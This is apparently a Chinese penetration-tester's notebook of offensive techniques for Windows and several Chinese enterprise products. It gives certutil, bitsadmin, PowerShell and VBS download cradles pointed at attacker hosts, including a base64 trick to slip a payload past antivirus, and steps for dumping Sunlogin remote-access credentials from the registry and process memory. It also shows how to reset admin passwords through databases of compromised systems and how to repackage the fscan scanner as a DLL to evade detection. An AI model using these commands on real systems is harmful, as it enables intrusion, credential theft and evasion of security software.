笔记

笔记

Gat1ta 744 2024-02-23

windows命令行下载文件

certutil

适用于server 2003以上版本

certutil -urlcache -split -f http://192.168.203.140/b.ps1 d:/b.ps1

以上命令会将http://192.168.203.140/b.ps1下载到本地的d盘

使用CertUtil + Base64来绕过安全软件

通过Base64对恶意文件进行编码,使恶意代码样本看起来像是无害的文本文件,然后使用CertUtil.exe下载后对其进行解码。下载了文本文件使用“Certutil.exe -decode”命令将Base64编码文件解码为可执行文件。

C:\Temp>certutil.exe -urlcache -split -f "https://hackers.home/badcontent.txt" bad.txt

C:\Temp>certutil.exe -decode bad.txt bad.exe

详情参考:
https://learn.microsoft.com/en-us/previous-versions/orphan-topics/ws.10/cc773087(v=ws.10)

bitsadmin

适用于server 2003以上版本

bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.203.140/b.ps1" "E:\\phpstudy_pro\\WWW\\b.ps1"

详情参考:https://learn.microsoft.com/zh-cn/windows/win32/bits/bitsadmin-tool

powershell

powershell (new-object Net.WebClient).DownloadFile('http://192.168.203.140/a.ps1','E:\phpstudy_pro\WWW\a.ps1')

vbs

第一种把下载地址直接echo输入download.vbs。直接下载即可。

echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","http://192.168.203.140/a.ps1",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile "D:/a.ps1",2 >>download.vbs

第二种保存脚本后再下载指定文件。

echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2  >> downfile.vbs
cscript downfile.vbs http://192.168.203.140/a.ps1 D:\\tomcat8.5\\webapps\\x.ps1

浏览器

也可以通过调用浏览器下载

firefox

start firefox http://192.168.1.1:19900/demo.rar

chrome

start chrome http://192.168.1.1:19900/demo.rar

edge

start msedge http://192.168.1.1:19900/demo.rar

360
start  360chrome http://192.168.1.1:19900/demo.rar

数据库权限登web

若依CMS数据库密码加密

当拿到一个若依cms的数据库想登录web的时候,会发现数据库中的密码都是加密过的。

若依默认加密代码在com.ruoyi.framework.shiro.service.SysPasswordService.encryptPassword中:

    public String encryptPassword(String loginName, String password, String salt) {
        return (new Md5Hash(loginName + password + salt)).toHex();
    }

通过loginname+password+salt计算一个md5值,数据库中loginname和salt是已知的,可以通过这段代码输入现有的loginname+任意密码+salt计算出一个新的MD5值,然后将这个值写入数据库就可以登录了。

    public static void main(String[] args) {
        System.out.println(encryptPassword("majun","adminadmin123111111","880a8c"));

    }

大华DSS

image
系统如上,拿到一个dss 的shell,想要确定一下归属,想进一下web后台看看。发现数据库密码是加密的,尝试123456的md5发现不行。后来发现抓包密码会是加密之后的。直接把加密后的密码值写到数据库中即可登录。

向日葵密码抓取

查找向日葵文件地址方法

wmic process where "name like 'SunloginClient.exe'" get ExecutablePath, ProcessId

老版本

安装版:C:\Program Files\Oray\SunLogin\SunloginClient\config.ini
便携版:C:\ProgramData\Oray\SunloginClient\config.ini

使用工具解密即可:

https://github.com/wafinfo/Sunflower_get_Password

较新版本

注册表获取:在向日葵v11.1.2.38529中,强化了加密机制,删除了配置文件config.ini中的fastcode(本机识别码)字段和encry_pwd(本机验证码)字段,而将这些敏感信息放到了注册表中,我们可以通过注册表查询使用Sunflower_get_Password[5]工具即可解密。

工具:

https://github.com/wafinfo/Sunflower_get_Password

reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo
reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginGreenInfo

最新版本

内存查找:首先找到向日葵用户进程,然后使用procdump等工具转储进程内存

tasklist /v | findstr /i sunlogin
procdump64.exe -accepteula -ma 进程号

使用Winhex打开转储文件,按下Ctrl+Alt+X快捷键打开十六进制值搜索功能,搜索十六进制值66617374636F646522203A20226b,即可找到本机识别码。
搜索十六进制值636F6C6F725F65646974203E,使用F3快捷键可以跳到下一个匹配处,多跳2次即可找到本机验证码。

image

image-1724067234021

免杀

dllmain上线问题

根据微软官方文档,不能在 DllMain 中调用直接或间接尝试获取加载程序锁的任何函数,否则将导致死锁,这意味着不能使用 Sleep(Ex)、WaitForSingleObject 等有等待延迟的函数,此外微软还列举了 DllMain 中不能使用的一些函数如直接或间接使用 LoadLibrary(Ex)、GetStringTypeA 等,CreateProcess 和 CreateThread 可以调用但存在风险:
image
dllmain里面不能创建进程这个问题是一个坑。
也就是说创建线程申请内存加载shellcode需要在导出函数里面操作,不能再dllmain里面直接操作,需要找到第一个执行的函数就能行,但是麻烦,我们可以可以新定义一个函数来申请内存,加载到内存中,在dllmain中只需要去用CreateThread来调用它就可以了。

fscan免杀

参考https://www.wjlin0.com/archives/1705092744971 ,改文章的思路是将fscan编译成dll然后编写加载器加载dll实现分离免杀,通过该文章了解一下如何将go项目编译成dll格式。fscan编译成dll需要将main.go改成如下格式:

package main

import "C"

import (
    "fmt"
    "time"

    "github.com/shadow1ng/fscan/Plugins"
    "github.com/shadow1ng/fscan/common"
)

//export DllCanUnloadNow
func DllCanUnloadNow() {}

//export DllGetClassObject
func DllGetClassObject() {}

//export DllRegisterServer
func DllRegisterServer() {}

//export DllUnregisterServer
func DllUnregisterServer() {}

func init() {
    start := time.Now()
    var Info common.HostInfo
    common.Flag(&Info)
    common.Parse(&Info)
    Plugins.Scan(Info)
    t := time.Now().Sub(start)
    fmt.Printf("[*] 扫描结束,耗时: %s\n", t)
}


func main(){}

百度了一下如何将一个go项目编译成dll格式,得到的答案是注释掉main函数并且导出需要的函数就可以了。

而上述代码中导出的几个函数并不是fscan项目中的函数,通过查询得知:
1.DllCanUnloadNow

该函数通常用于 COM(Component Object Model)库,询问 DLL 是否可以从内存中卸载。如果 DLL 可以安全卸载,则返回值应该为 S_OK,否则返回 S_FALSE。在 Go 中这个函数可能不会做任何事情,但在定义接口时仍然需要。

2.DllGetClassObject

该函数是 COM 中的一个标准接口,用于获取一个类工厂对象。通常情况下,这个函数会返回一个接口,通过这个接口可以创建 COM 对象。在 Go 中,空的 DllGetClassObject 函数通常用于确保 DLL 编译时不会出错,即使实际的实现为空。

3.DllRegisterServer

这个函数用于在系统中注册 DLL,主要用于注册 COM 服务器。在系统调用这个函数时,DLL 会在 Windows 注册表中写入一些必要的信息,使得该 DLL 可以被系统或其他程序识别和加载。

4.DllUnregisterServer

与 DllRegisterServer 相反,DllUnregisterServer 用于从系统中注销 DLL,清除之前在注册表中的信息。

而对于原来的main函数中的代码写到init函数中就可以了。
init 函数在 Go 程序启动时自动运行,无需显式调用。在 DLL 中,这意味着每当 DLL 被加载时,init 函数都会执行。

go语言导出函数

Go 使用 //export 注释来标记导出函数,使得它们可以从 DLL 中调用。例如:
package main

import “C”

//export Add
func Add(a, b int) int {
return a + b
}

编译dll

更改完代码后,通过如下命令即可编译dll

GOOS=windows GOARCH=amd64 CGO_ENABLED=1 go build -buildmode=c-shared -o fscan.dll ./main.go

编译x32

默认情况下编译出来的dll是64位的。
使用如下命令想编译32位dll发现得到的还是64位的:

GOARCH=386 GOOS=windows go build -buildmode=c-shared -o fscan.dll

经过查询得知,默认情况下,Go 在 Windows 平台上编译 32 位和 64 位应用程序是支持的。如果你在其他平台(如 macOS 或 Linux)上交叉编译 32 位 Windows DLL,可能需要安装 mingw-w64 或其他 Windows 交叉编译工具链。

由于当前是mac环境,所以需要安装mingw-w64。
mingw-w64 是一套用于 Windows 的交叉编译工具链,它可以生成 32 位和 64 位的 Windows 可执行文件或库。你可以使用 Homebrew 安装它,通过以下命令:

brew install mingw-w64

安装完成后,mingw-w64 会提供多个前缀的编译器,如:

i686-w64-mingw32-gcc: 用于编译 32 位 Windows 可执行文件或 DLL。
x86_64-w64-mingw32-gcc: 用于编译 64 位 Windows 可执行文件或 DLL。

安装完 mingw-w64 后,你可以通过指定 CC 环境变量使用 32 位编译器:

CC=i686-w64-mingw32-gcc GOOS=windows GOARCH=386 CGO_ENABLED=1 go build -buildmode=c-shared -o fscan.dll ./main.go

你可以通过以下命令检查是否安装成功并支持 32 位编译:

i686-w64-mingw32-gcc -v

开发

Go 交叉编译各系统编译命令

# Linux (amd64架构)
GOOS=linux GOARCH=amd64 go build

# Linux (arm64架构)
GOOS=linux GOARCH=arm64 go build

# Windows (amd64架构)
GOOS=windows GOARCH=amd64 go build

# Windows (386架构)
GOOS=windows GOARCH=386 go build

# macOS (arm64架构)
GOOS=darwin GOARCH=arm64 go build

# macOS (amd64架构)
GOOS=darwin GOARCH=amd64 go build

# FreeBSD (amd64架构)
GOOS=freebsd GOARCH=amd64 go build


# OpenBSD (amd64架构)
GOOS=openbsd GOARCH=amd64 go build

CTF

PWN——GCC编译中几种保护打开和关闭的参数

NX:-z execstack / -z noexecstack (关闭 / 开启)    不让执行栈上的数据,于是JMP ESP就不能用了
Canary:-fno-stack-protector /-fstack-protector / -fstack-protector-all (关闭 / 开启 / 全开启)  栈里插入cookie信息
PIE:-no-pie / -pie (关闭 / 开启)   地址随机化,另外打开后会有get_pc_thunk
RELRO:-z norelro / -z lazy / -z now (关闭 / 部分开启 / 完全开启)  对GOT表具有写权限
-fcf-protection=none: 关闭CET
x32下关闭所有保护用如下编译命令:
gcc -m32 -fno-stack-protector -no-pie -z norelro -z execstack -o stack3 stack3.c
x64:
gcc -fno-stack-protector -fcf-protection=none -no-pie -z norelro -z execstack -o stack6 stack6.c 

铱迅安全运维审计系统后渗透

数据库配置路径:
/opt/freesvr/web/htdocs/freesvr/audit/include/db_connect.inc.php
重置管理员密码:

update member set password=if((select svalue from setting where sname='PASSWORD_ENCRYPT_TYPE' and svalue=1),aes_encrypt('12345678',(select udf_decrypt(svalue) from setting where sname='PasswordKey')),udf_encrypt('12345678')) where username='admin'

重置完web登陆 admin 12345678